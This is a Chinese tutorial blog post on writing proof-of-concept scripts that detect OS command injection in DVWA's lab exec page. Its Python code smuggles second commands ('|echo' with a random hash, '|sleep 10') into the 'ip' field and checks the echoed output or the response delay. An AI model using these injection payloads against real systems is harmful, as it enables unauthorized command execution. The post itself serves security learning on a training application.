POC编写练习2

news2024/11/25 9:32:58

上一篇了解poc整体架构

但是上一篇的poc不具备随机性,如果网页回显中刚好有特定搜索的字符串或者无回显情况搜索不了

接下来处理两种情况

有回显的情况

如果没有授权的情况下,直接发送恶意关键字试探是不合适的做法

可以参考以下方式,采用随机hash字符串

先生成一段随机字符串,然后用进行加密

import hashlib
import random
import string
import requests
from bs4 import BeautifulSoup
#生成随机hash
# The length of the string
length = 10
# The characters to choose from
chars = string.ascii_letters + string.digits
# Generate a random string
random_string = "".join(random.choice(chars) for i in range(length))
# Print the random string
print(random_string)
str_hash = hashlib.md5(random_string.encode()).hexdigest()
print(str_hash)
URL = "http://192.168.52.166:81/DVWA-master/vulnerabilities/exec/"
data = {"ip":"127.0.0.1|echo "+str_hash,
        "Submit":"Submit"}
#data.setdefault("str_hash", str_hash)
print(data)
header = {"cookie":"PHPSESSID=4vc9olk96pl29lune41krov6n5; security=low"}
response = requests.post(URL,data,allow_redirects=False,headers=header)
print("状态{}".format(response.status_code))
print("text{}".format(response.text))

# -*- coding: utf-8 -*-


if response.status_code == 200 and response.text.find(str_hash) !=-1:
    print("[*] {} is weak".format(URL))
    soup = BeautifulSoup(response.text, "html.parser")
    # 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
    pre = soup.find("pre")
    print("[*] response {}".format(pre.text))
else:
    print("[x] {} is safe".format(URL))
if(response.status_code == 302):
 print("302跳转地址{}".format(response.next.url))

生成随机hash并且加密

#生成随机hash
# The length of the string
length = 10
# The characters to choose from
chars = string.ascii_letters + string.digits
# Generate a random string
random_string = "".join(random.choice(chars) for i in range(length))
# Print the random string
print(random_string)
str_hash = hashlib.md5(random_string.encode()).hexdigest()
print(str_hash)

将随机hash发送过去放入data中,使用字符串拼接语法

data = {"ip":"127.0.0.1|echo "+str_hash,
        "Submit":"Submit"}
#data.setdefault("str_hash", str_hash)
print(data)

再响应中使用find函数匹配内容

if response.status_code == 200 and response.text.find(str_hash) !=-1:

结果

无回显

可以使用延时(类似sql盲注),可以使用dnslog,还可以使用回连

使用延时

import hashlib
import random
import string
import time

import requests
from bs4 import BeautifulSoup
#生成随机hash
# The length of the string
length = 10
# The characters to choose from
chars = string.ascii_letters + string.digits
# Generate a random string
random_string = "".join(random.choice(chars) for i in range(length))
# Print the random string
print(random_string)
str_hash = hashlib.md5(random_string.encode()).hexdigest()
print(str_hash)
URL = "http://192.168.52.166:81/DVWA-master/vulnerabilities/exec/"
data = {"ip":"127.0.0.1|sleep 10",
        "Submit":"Submit"}
#data.setdefault("str_hash", str_hash)
print(data)
header = {"cookie":"PHPSESSID=4vc9olk96pl29lune41krov6n5; security=low"}
start_time = time.time()
print(start_time)
response = requests.post(URL,data,allow_redirects=False,headers=header)
end_time = time.time()
spent_time = end_time - start_time
print(spent_time)
print("状态{}".format(response.status_code))
print("text{}".format(response.text))

# -*- coding: utf-8 -*-


if response.status_code == 200 and response.text.find(str_hash) !=-1:
    print("[*] {} is weak".format(URL))
    soup = BeautifulSoup(response.text, "html.parser")
    # 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
    pre = soup.find("pre")
    print("[*] response {}".format(pre.text))
else:
    print("[x] {} is safe".format(URL))
if(response.status_code == 302):
 print("302跳转地址{}".format(response.next.url))

加入sleep函数

使用dnslog函数

如何编写出一个合格的RCE POC|NOSEC安全讯息平台 - 白帽汇安全研究院

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1255532.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

抽象工厂模式-C语言实现

说明&#xff1a; 均由 chatgpt生成&#xff0c;实例可以看出无法运行&#xff0c;仅供参考~ 抽象工厂模式&#xff1a; 代码实现&#xff1a; #include <stdio.h>// 定义抽象产品接口 typedef struct {void (*operation)(); } AbstractProductA;typedef struct {voi…

最新世界银行WDI面板数据(1960-2022年)

The World Development Indicators 是由世界银行编制和发布的全面数据集&#xff0c;旨在提供全球发展的详尽统计信息。这份数据集收录了1960-2022年间&#xff0c;世界266个国家共计1477个指标&#xff0c;涵盖经济、社会、环境、教育、公共卫生等20个领域 一、数据介绍 数据…

什么样的人不适合当老师

虽然教师职业具有诸多优点&#xff0c;如较高的社会地位、稳定的收入和良好的职业前景等&#xff0c;但是并不是所有人都适合成为一名教师。 缺乏耐心和细心的人&#xff1a;作为一名教师&#xff0c;需要具备足够的耐心和细心&#xff0c;能够应对各种学生问题。如果你很容易失…

Slf4j使用Logback时,Logback如何初始化

前言 Slf4j SLF4J&#xff0c;全称 Simple Logging Facade for Java&#xff0c;是一个用于Java编程语言的日志系统抽象层。它为多种现有日志框架&#xff08;例如Log4j、java.util.logging等&#xff09;提供了统一的接口, 但自身并不实现日志功能。 SLF4J 允许用户在部署时…

6.2 Windows驱动开发:内核枚举SSSDT表基址

在Windows内核中&#xff0c;SSSDT&#xff08;System Service Shadow Descriptor Table&#xff09;是SSDT&#xff08;System Service Descriptor Table&#xff09;的一种变种&#xff0c;其主要用途是提供Windows系统对系统服务调用的阴影拷贝。SSSDT表存储了系统调用的函数…

Namecheap怎么样,Namecheap优惠码以及注册手把手教程

Namecheap 是一家成熟的服务器域名托管公司&#xff0c;可以为合适的客户提供良好的解决方案。这些优点和缺点应该让您清楚地了解您的期望&#xff0c;以便您知道这是否是您网站的正确选择。 Namecheap怎么样&#xff1f; 已成立的公司&#xff1a; Namecheap 已经营 20 多年…

HDFS JAVA API的应用

首先把hadoop服务起来 1. (简答题) 使用HDFS 的JAVA API 进行编程&#xff1a; &#xff08;1&#xff09;获取自己HDFS集群下的所有文件和目录&#xff1b; //获取自己HDFS集群下的所有文件和目录&#xff1b;import org.apache.hadoop.conf.Configuration; import org.apa…

LeetCode Hot100 437.路径总和III

题目&#xff1a; 给定一个二叉树的根节点 root &#xff0c;和一个整数 targetSum &#xff0c;求该二叉树里节点值之和等于 targetSum 的 路径 的数目。 路径 不需要从根节点开始&#xff0c;也不需要在叶子节点结束&#xff0c;但是路径方向必须是向下的&#xff08;只能从…

pandas 如何获取dataframe的行的数量

pandas的dataframe提供了多种方法获取其中数据的行的数量&#xff0c;本偏文章就是介绍几种获取dataframe行和列出量的方法。 为了能够详细说明如何通过代码获取dataframe的行数和列数&#xff0c;需要先创建一个dataframe如下&#xff1a; import pandas as pdtechnologies …

微机11111

一、填空题&#xff08;共15分&#xff0c;每空1分&#xff09; 1、十六进制数30A.5转换为二进制是__________&#xff0c;转换为十进制是_________ 001100001010.0101B 778.3125 十六进制转换二进制 将一位十六进制分解成四位二进制 十六进制转换十进制 3X1620X16110X1605X1…

重生之我是一名程序员 42——字符分类函数

哈喽啊大家晚上好&#xff01;今天呢给大家带来一些超简单的知识&#xff0c;大家是需要浅浅理解就行了。所以今天给大家带来的知识是——字符分类函数。 首先呢还是给大家介绍一下它们&#xff0c;字符分类函数是一种函数&#xff0c;它根据一定的规则将字符分组或分类。在编…

大模型三阶段训练

为了训练专有领域模型&#xff0c;选择LLaMA2-7B作为基座模型&#xff0c;由于LLaMA模型中文词表有限&#xff0c;因此首先进行中文词表的扩展&#xff0c;然后进行三阶段训练&#xff08;增量预训练&#xff0c;有监督微调&#xff0c;强化学习&#xff09;。 代码将全部上传…

IDEA2023版本创建Sping项目只能勾选17和21,却无法使用Java8?(已解决)

文章目录 前言分析解决方案一&#xff1a;替换创建项目的源方案二&#xff1a;升级JDK版本 参考文献 前言 起因 想创建一个springboot的项目&#xff0c;本地安装的是1.8&#xff0c;但是在使用Spring Initializr创建项目时&#xff0c;发现版本只有17和21。 在JDK为1.8的情况下…

LeetCode Hot100 236.二叉树的最近公共祖先

题目&#xff1a; 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点 p、q&#xff0c;最近公共祖先表示为一个节点 x&#xff0c;满足 x 是 p、q 的祖先且 x 的深度尽可能大&#xff08;一个节…

从微软Cosmos DB浅谈一致性模型

最近回顾了微软的Cosmos DB的提供一致性级别&#xff0c;重新整理下一致性模型的相关内容。 0. Cosmos DB Cosmos DB&#xff08;Azure Cosmos DB&#xff09;是由微软推出的一个支持多模型、多 API 的全球分布式数据库服务。它旨在提供高度可扩展性、低延迟、强一致性和全球…

大数据平台/大数据技术与原理-实验报告--部署全分布模式Hadoop集群

实验名称 部署全分布模式Hadoop集群 实验性质 &#xff08;必修、选修&#xff09; 必修 实验类型&#xff08;验证、设计、创新、综合&#xff09; 综合 实验课时 2 实验日期 2023.10.16-2023.10.20 实验仪器设备以及实验软硬件要求 专业实验室&#xff08;配有cen…

Prove that exponential function f(x)=e^x is not Lipschitz on R

https://math.stackexchange.com/questions/3980014/prove-that-ex-is-not-lipschitz-on-r https://math.ucr.edu/~res/math205A-2014/lipschitz2.pdf

AI算法中的模型量化岗是做什么的

今天介绍一个在 AI 算法领域比较常见而且很重要的岗位——模型量化岗。 按惯例&#xff0c;先从某聘上截图一个量化工程师的招聘信息。 只看与量化相关的词&#xff0c;基本涉及到了量化精度、模型结构、算法这些关键词&#xff0c;下面来介绍一下这个岗位。 1、先看下什么是模…

LeetCode:1457. 二叉树中的伪回文路径(DFS C++ Java)

目录 1457. 二叉树中的伪回文路径 题目描述&#xff1a; 原理思路&#xff1a; 1457. 二叉树中的伪回文路径 题目描述&#xff1a; 给你一棵二叉树&#xff0c;每个节点的值为 1 到 9 。我们称二叉树中的一条路径是 「伪回文」的&#xff0c;当它满足&#xff1a;路径经过的…